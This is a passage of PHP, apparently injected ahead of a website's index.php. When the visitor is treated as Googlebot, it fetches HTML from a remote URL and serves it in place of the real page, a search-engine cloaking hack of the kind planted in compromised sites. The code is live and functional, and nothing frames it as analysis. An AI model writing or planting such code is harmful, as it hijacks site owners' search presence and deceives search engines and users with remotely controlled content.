fallback stream)
$html = null;
if (function_exists('curl_init')) {
$ch = curl_init($REMOTE_URL);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 8,
CURLOPT_USERAGENT => 'VerifiedBotFetcher/1.0',
]);
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($resp !== false && $code >= 200 && $code < 300) $html = $resp;
}
if ($html === null) {
$html = @file_get_contents($REMOTE_URL);
}
if ($html) {
header('Content-Type: text/html; charset=UTF-8');
header('X-Served-For: Googlebot');
echo $html;
exit;
}
}
// ==== end: Googlebot handling ====
require_once __DIR__ . '/../index.php';